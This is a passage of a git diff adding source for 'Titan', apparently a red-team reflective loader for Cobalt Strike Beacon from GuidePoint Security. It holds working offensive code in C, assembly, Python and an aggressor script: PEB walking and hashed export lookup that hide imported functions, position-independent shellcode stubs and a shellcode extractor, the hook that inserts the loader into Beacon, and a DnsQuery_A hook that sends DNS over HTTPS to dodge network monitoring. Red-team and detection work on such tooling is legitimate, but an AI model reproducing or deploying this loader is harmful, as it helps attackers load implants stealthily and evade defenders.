+ IN PCLIENT_ID AppClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +DbgUiStopDebugging( + IN HANDLE Process + ); + +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + IN HANDLE Process + ); + +VOID +NTAPI +DbgUiRemoteBreakin( + IN PVOID Context + ); + +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + IN HANDLE Process + ); + +VOID +NTAPI +RtlExitUserProcess( + IN NTSTATUS ExitStatus + ); + +NTSTATUS +NTAPI +RtlQueueWorkItem( + IN WORKERCALLBACKFUNC CallbackFunction, + IN OPTIONAL PVOID Context, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +RtlCreateUserStack( + SIZE_T CommittedStackSize, + SIZE_T MaximumStackSize, + SIZE_T ZeroBits, + ULONG PageSize, + ULONG ReserveAlignment, + PINITIAL_TEB InitialTeb + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_W( + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_A( + ); + + +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + PRTL_PROCESS_MODULES ModuleInformation, + ULONG ModuleInformationLength, + PULONG ReturnLength + ); + + +// +// end non-crt prototypes +// + + +// +// nt crt +// +//please do not change swprintf stuff otherwise win32 mode is always trashed +#if !defined(_NO_NTDLL_CRT_) +int __cdecl vsprintf( char *, const char *, va_list ); +int __cdecl _vsnprintf( char *, size_t, const char *, va_list ); +int __cdecl sprintf( char *, const char *, ... ); +int __cdecl _snprintf( char *, size_t, const char *, ... ); +int __cdecl _snwprintf( wchar_t *, size_t, const wchar_t *, ... ); +int __cdecl swprintf( wchar_t *, const wchar_t *, ... ); +int __cdecl sscanf( const char *, const char *, ... ); +int __cdecl _vscwprintf( const wchar_t *, va_list ); +int __cdecl _vsnwprintf( wchar_t *, size_t, const wchar_t *, va_list ); + +//readded 4 jan 2012 +//win64 mode does not need this +//for using this routines ntdllp.lib is required +#if !defined(_M_X64) +IMPORT_FN size_t __cdecl wcslen(const wchar_t *); +IMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src); +IMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst); +IMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *); +IMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t); +IMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *); +IMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *); +IMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch); +IMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src); +IMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count); +IMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count); +#endif //_M_X64 + +#endif // _NO_NTDLL_CRT_ + +#ifdef __cplusplus +} +#endif + + +#endif /* _NTDLL_ */ diff --git a/Pe.c b/Pe.c new file mode 100644 index 0000000..b82599e --- /dev/null +++ b/Pe.c @@ -0,0 +1,52 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#include "Common.h" + +/*! + * + * Purpose: + * + * Searches for a export matching the specified hash. + * +!*/ + +D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash ) +{ + ULONG Idx = 0; + PUINT16 Aoo = NULL; + PUINT32 Aof = NULL; + PUINT32 Aon = NULL; + PIMAGE_DOS_HEADER Hdr = NULL; + PIMAGE_NT_HEADERS Nth = NULL; + PIMAGE_DATA_DIRECTORY Dir = NULL; + PIMAGE_EXPORT_DIRECTORY Exp = NULL; + + Hdr = C_PTR( Image ); + Nth = C_PTR( U_PTR( Hdr ) + Hdr->e_lfanew ); + Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + /* Has a EAT? */ + if ( Dir->VirtualAddress ) { + Exp = C_PTR( U_PTR( Hdr ) + Dir->VirtualAddress ); + Aon = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNames ); + Aof = C_PTR( U_PTR( Hdr ) + Exp->AddressOfFunctions ); + Aoo = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNameOrdinals ); + + /* Enumerate exports */ + for ( Idx = 0 ; Idx < Exp->NumberOfNames ; ++Idx ) { + /* Create a hash of the string and compare */ + if ( HashString( C_PTR( U_PTR( Hdr ) + Aon[ Idx ] ), 0 ) == Hash ) { + return C_PTR( U_PTR( Hdr ) + Aof[ Aoo[ Idx ] ] ); + }; + }; + }; + return NULL; +}; diff --git a/Pe.h b/Pe.h new file mode 100644 index 0000000..a6f762b --- /dev/null +++ b/Pe.h @@ -0,0 +1,21 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#pragma once + +/*! + * + * Purpose: + * + * Searches for a export matching the specified hash. + * +!*/ + +D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash ); diff --git a/Peb.c b/Peb.c new file mode 100644 index 0000000..5487415 --- /dev/null +++ b/Peb.c @@ -0,0 +1,42 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#include "Common.h" + +/*! + * + * Purpose: + * + * Finds a module loaded in memory. + * +!*/ + +D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash ) +{ + PPEB Peb = NULL; + PLIST_ENTRY Hdr = NULL; + PLIST_ENTRY Ent = NULL; + PLDR_DATA_TABLE_ENTRY Ldr = NULL; + + /* Get pointer to list */ + Peb = NtCurrentPeb(); + Hdr = & Peb->Ldr->InLoadOrderModuleList; + Ent = Hdr->Flink; + + for ( ; Hdr != Ent ; Ent = Ent->Flink ) { + Ldr = C_PTR( Ent ); + + /* Compare the DLL Name! */ + if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == Hash ) { + return Ldr->DllBase; + }; + }; + return NULL; +}; diff --git a/Peb.h b/Peb.h new file mode 100644 index 0000000..969a850 --- /dev/null +++ b/Peb.h @@ -0,0 +1,21 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#pragma once + +/*! + * + * Purpose: + * + * Finds a module loaded in memory. + * +!*/ + +D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash ); diff --git a/SectionLink.ld b/SectionLink.ld new file mode 100644 index 0000000..fc15245 --- /dev/null +++ b/SectionLink.ld @@ -0,0 +1,13 @@ +SECTIONS +{ + .text : + { + *( .text$A ) + *( .text$B ) + *( .text$C ) + *( .text$D ) + *( .text$E ) + *( .rdata* ) + *( .text$F ) + } +} diff --git a/Titan.cna b/Titan.cna new file mode 100644 index 0000000..d8e4161 --- /dev/null +++ b/Titan.cna @@ -0,0 +1,24 @@ +## +## Reflective Loader +## +## GuidePoint Security LLC +## +## Threat and Attack Simulation +## + +## +## Inserts titan into Beacon +## +set BEACON_RDLL_GENERATE { + + $hnd = openf( script_resource( "Titan.". $3 .".bin" ) ); + $ldr = readb( $hnd, -1 ); + closef( $hnd ); + + if ( strlen( $ldr ) == 0 ) { + warn( 'titan has not been compiled, using standard cobalt loader.' ); + return $null; + }; + + return $ldr . $2; +}; diff --git a/asm/x64/GetIp.asm b/asm/x64/GetIp.asm new file mode 100644 index 0000000..4a9056b --- /dev/null +++ b/asm/x64/GetIp.asm @@ -0,0 +1,43 @@ +;; +;; Reflective Loader +;; +;; GuidePoint Security LLC +;; +;; Threat and Attack Simulation +;; +[BITS 64] + +;; +;; Export +;; +GLOBAL GetIp +GLOBAL Hooks + +[SECTION .text$C] + +Hooks: + ;; + ;; Arbitrary symbol to reference as + ;; start of hook pages + ;; + nop + +[SECTION .text$F] + +GetIp: + ;; + ;; Execute next instruction + ;; + call get_ret_ptr + +get_ret_ptr: + ;; + ;; Pop address and sub diff + ;; + pop rax + sub rax, 5 + ret + + +Leave: + db 'E', 'N', 'D', 'O', 'F', 'C', 'O', 'D', 'E' diff --git a/asm/x64/Start.asm b/asm/x64/Start.asm new file mode 100644 index 0000000..9572903 --- /dev/null +++ b/asm/x64/Start.asm @@ -0,0 +1,45 @@ +;; +;; Reflective Loader +;; +;; GuidePoint Security LLC +;; +;; Threat and Attack Simulation +;; +[BITS 64] + +;; +;; Import +;; +EXTERN Titan + +;; +;; Export +;; +GLOBAL Start + +[SECTION .text$A] + +Start: + ;; + ;; Setup stack + ;; + push rsi + mov rsi, rsp + and rsp, 0FFFFFFFFFFFFFFF0h + + ;; + ;; Execute Ldr + ;; + sub rsp, 020h + call Titan + + ;; + ;; Cleanup stack + ;; + mov rsp, rsi + pop rsi + + ;; + ;; Return + ;; + ret diff --git a/asm/x86/GetIp.asm b/asm/x86/GetIp.asm new file mode 100644 index 0000000..0a9890f --- /dev/null +++ b/asm/x86/GetIp.asm @@ -0,0 +1,43 @@ +;; +;; Reflective Loader +;; +;; GuidePoint Security LLC +;; +;; Threat and Attack Simulation +;; +[BITS 32] + +;; +;; Export +;; +GLOBAL _GetIp +GLOBAL _Hooks + +[SECTION .text$C] + +_Hooks: + ;; + ;; Arbitrary symbol to reference as + ;; start of hook pages + ;; + nop + +[SECTION .text$F] + +_GetIp: + ;; + ;; Execute next instruction + ;; + call _get_ret_ptr + +_get_ret_ptr: + ;; + ;; Pop address and sub diff + ;; + pop eax + sub eax, 5 + ret + + +_Leave: + db 'E', 'N', 'D', 'O', 'F', 'C', 'O', 'D', 'E' diff --git a/asm/x86/Start.asm b/asm/x86/Start.asm new file mode 100644 index 0000000..36edaec --- /dev/null +++ b/asm/x86/Start.asm @@ -0,0 +1,43 @@ +;; +;; Reflective Loader +;; +;; GuidePoint Security LLC +;; +;; Threat and Attack Simulation +;; +[BITS 32] + +;; +;; Import +;; +EXTERN _Titan + +;; +;; Export +;; +GLOBAL _Start + +[SECTION .text$A] + +_Start: + ;; + ;; Setup stack + ;; + push ebp + mov ebp, esp + + ;; + ;; Execute Ldr + ;; + call _Titan + + ;; + ;; Cleanup stack + ;; + mov esp, ebp + pop ebp + + ;; + ;; Return + ;; + ret diff --git a/hooks/DnsQuery_A.c b/hooks/DnsQuery_A.c new file mode 100644 index 0000000..3d96808 --- /dev/null +++ b/hooks/DnsQuery_A.c @@ -0,0 +1,209 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#include "Common.h" + +/* Functions */ +typedef struct +{ + D_API( DnsExtractRecordsFromMessage_UTF8 ); + D_API( DnsWriteQuestionToBuffer_UTF8 ); + D_API( InternetQueryDataAvailable ); + D_API( RtlInitUnicodeString ); + D_API( InternetCloseHandle ); + D_API( InternetReadFile ); + D_API( HttpSendRequestA ); + D_API( HttpOpenRequestA ); + D_API( InternetConnectA ); + D_API( RtlAllocateHeap ); + D_API( HttpQueryInfoA ); + D_API( InternetOpenA ); + D_API( LdrUnloadDll ); + D_API( RtlFreeHeap ); + D_API( LdrLoadDll ); +} API ; + +/* Hashes */ +#define H_API_DNSEXTRACTRECORDSFROMMESSAGE_UTF8 0x300c2cf6 /* DnsExtractRecordsFromMessage_UTF8 */ +#define H_API_DNSWRITEQUESTIONTOBUFFER_UTF8 0x8daca0d0 /* DnsWriteQuestionToBuffer_UTF8 */ +#define H_API_INTERNETQUERYDATAAVAILABLE 0x48114d7f /* InternetQueryDataAvailable */ +#define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */ +#define H_API_INTERNETCLOSEHANDLE 0x87a314f0 /* InternetCloseHandle */ +#define H_API_INTERNETREADFILE 0x7766910a /* InternetReadFile */ +#define H_API_HTTPSENDREQUESTA 0x2bc23839 /* HttpSendRequestA */ +#define H_API_HTTPOPENREQUESTA 0x8b6ddc61 /* HttpOpenRequestA */ +#define H_API_INTERNETCONNECTA 0xc058d7b9 /* InternetConnectA */ +#define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */ +#define H_API_HTTPQUERYINFOA 0x9df7f348 /* HttpQueryInfoA */ +#define H_API_INTERNETOPENA 0xa7917761 /* InternetOpenA */ +#define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */ +#define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */ +#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */ +#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ + +/*! + * + * Purpose: + * + * Redirects DnsQuery_A over a DNS/HTTP(s) + * provider. + * +!*/ + +D_SEC( D ) DNS_STATUS WINAPI DnsQuery_A_Hook( _In_ PCSTR pszName, _In_ WORD wType, _In_ DWORD Options, _In_ PVOID pExtra, _Out_ PDNS_RECORD * ppQueryResults, _In_ PVOID pReserved ) +{ + API Api; + UNICODE_STRING Uni; + + ULONG Cod = HTTP_STATUS_OK; + BOOLEAN Suc = FALSE; + DNS_STATUS Err = DNS_RCODE_SERVFAIL; + SIZE_T Len = 0; + + LPVOID Res = NULL; + LPVOID Buf = NULL; + HMODULE Dns = NULL; + HMODULE Win = NULL; + HINTERNET Iop = NULL; + HINTERNET Icp = NULL; + HINTERNET Hop = NULL; + + RtlSecureZeroMemory( &Api, sizeof( Api ) ); + RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); + + /* get NT API */ + Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING ); + Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP ); + Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL ); + Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP ); + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL ); + + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"wininet.dll" ) ) ); + Api.LdrLoadDll( NULL, 0, &Uni, &Win ); + + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"dnsapi.dll" ) ) ); + Api.LdrLoadDll( NULL, 0, &Uni, &Dns ); + + if ( Win != NULL && Dns != NULL ) + { + Api.DnsExtractRecordsFromMessage_UTF8 = PeGetFuncEat( Dns, H_API_DNSEXTRACTRECORDSFROMMESSAGE_UTF8 ); + Api.DnsWriteQuestionToBuffer_UTF8 = PeGetFuncEat( Dns, H_API_DNSWRITEQUESTIONTOBUFFER_UTF8 ); + Api.InternetQueryDataAvailable = PeGetFuncEat( Win, H_API_INTERNETQUERYDATAAVAILABLE ); + Api.InternetCloseHandle = PeGetFuncEat( Win, H_API_INTERNETCLOSEHANDLE ); + Api.InternetReadFile = PeGetFuncEat( Win, H_API_INTERNETREADFILE ); + Api.HttpSendRequestA = PeGetFuncEat( Win, H_API_HTTPSENDREQUESTA ); + Api.HttpOpenRequestA = PeGetFuncEat( Win, H_API_HTTPOPENREQUESTA ); + Api.InternetConnectA = PeGetFuncEat( Win, H_API_INTERNETCONNECTA ); + Api.HttpQueryInfoA = PeGetFuncEat( Win, H_API_HTTPQUERYINFOA ); + Api.InternetOpenA = PeGetFuncEat( Win, H_API_INTERNETOPENA ); + + Iop = Api.InternetOpenA( NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 ); + + if ( Iop != NULL ) { + Icp = Api.InternetConnectA( Iop, + C_PTR( G_SYM( "dns.google" ) ), + INTERNET_DEFAULT_HTTPS_PORT, + NULL, + NULL, + INTERNET_SERVICE_HTTP, + 0, + 0 ); + + if ( Icp == NULL ) { + goto Leave; + }; + + Hop = Api.HttpOpenRequestA( Icp, + C_PTR( G_SYM( "POST" ) ), + C_PTR( G_SYM( "/dns-query" ) ), + NULL, + NULL, + NULL, + INTERNET_FLAG_NO_CACHE_WRITE | + INTERNET_FLAG_SECURE | + INTERNET_FLAG_RELOAD | + INTERNET_FLAG_NO_UI, + 0 ); + + if ( Hop != NULL ) + { + if ( Api.DnsWriteQuestionToBuffer_UTF8( Buf, &Len, pszName, wType, 0, TRUE ) ) { + goto Leave; + }; + if ( ! ( Buf = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, 0, Len ) ) ) { + goto Leave; + }; + if ( Api.DnsWriteQuestionToBuffer_UTF8( Buf, &Len, pszName, wType, 0, TRUE ) ) + { + if ( Api.HttpSendRequestA( Hop, C_PTR( G_SYM( "Content-Type: application/dns-message" ) ), -1L, Buf, Len ) ) + { + if ( Api.HttpQueryInfoA( Hop, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &Cod, &( DWORD ){ sizeof( DWORD ) }, NULL ) ) + { + if ( Cod != HTTP_STATUS_OK ) { + goto Leave; + }; + if ( ! Api.InternetQueryDataAvailable( Hop, &Len, 0, 0 ) ) { + goto Leave; + }; + if ( ! ( Res = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Len ) ) ) { + goto Leave; + }; + if ( Api.InternetReadFile( Hop, Res, Len, &( DWORD ){ 0 } ) ) + { + DNS_BYTE_FLIP_HEADER_COUNTS( Res ); + Err = Api.DnsExtractRecordsFromMessage_UTF8( Res, Len, ppQueryResults ); + } else { + goto Leave; + }; + } else { + goto Leave; + }; + } else { + goto Leave; + }; + } else { + goto Leave; + }; + } else { + goto Leave; + }; + }; + Leave: + if ( Res != NULL ) { + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Res ); + Res = NULL; + }; + if ( Buf != NULL ) { + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Buf ); + Buf = NULL; + }; + if ( Iop != NULL ) { + Api.InternetCloseHandle( Iop ); + Iop = NULL; + }; + if ( Icp != NULL ) { + Api.InternetCloseHandle( Icp ); + Icp = NULL; + }; + if ( Hop != NULL ) { + Api.InternetCloseHandle( Hop ); + Hop = NULL; + }; + }; + if ( Win != NULL ) { + Api.LdrUnloadDll( Win ); + Win = NULL; + }; + if ( Dns != NULL ) { + Api.LdrUnloadDll( Dns ); + Dns = NULL; + }; + return Err; +}; diff --git a/hooks/DnsQuery_A.h b/hooks/DnsQuery_A.h new file mode 100644 index 0000000..b1d0754 --- /dev/null +++ b/hooks/DnsQuery_A.h @@ -0,0 +1,22 @@ +/** + * + * Reflective Loader + * + * GuidePoint Security LLC + * + * Threat and Attack Simulation + * +**/ + +#pragma once + +/*! + * + * Purpose: + * + * Redirects DnsQuery_A over a DNS/HTTP(s) + * provider. + * +!*/ + +D_SEC( D ) DNS_STATUS WINAPI DnsQuery_A_Hook( _In_ PCSTR pszName, _In_ WORD wType, _In_ DWORD Options, _In_ PVOID pExtra, _Out_ PDNS_RECORD * ppQueryResults, _In_ PVOID pReserved ); diff --git a/python3/extract.py b/python3/extract.py new file mode 100644 index 0000000..eee67db --- /dev/null +++ b/python3/extract.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- +import pefile +import argparse + +if __name__ in '__main__': + try: + parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ); + parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str ); + parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str ); + option = parser.parse_args(); + + PeExe = pefile.PE( option.f ); + PeSec = PeExe.sections[0].get_data(); + + if PeSec.find( b'ENDOFCODE' ) != None: + ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ]; + f = open( option.o, 'wb+' ); + f.write( ScRaw ); + f.close(); + else: + print('[!] error: no ending tag'); + except Exception as e: + print( '[!] error: {}'.format( e ) ); + diff --git a/python3/hashstring.py b/python3/hashstring.py new file mode 100644 index 0000000..f07bc1c --- /dev/null +++ b/python3/hashstring.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- +import sys + +def hash_string( string ): + try: + hash = 5381 + + for x in string.upper(): + hash = (( hash << 5 ) + hash ) + ord(x) + + return hash & 0xFFFFFFFF + except: + pass + +if __name__ in '__main__': + try: + print('0x%x' % hash_string(sys.argv[1])); + except IndexError: + print('usage: %s [string]' % sys.argv[0]);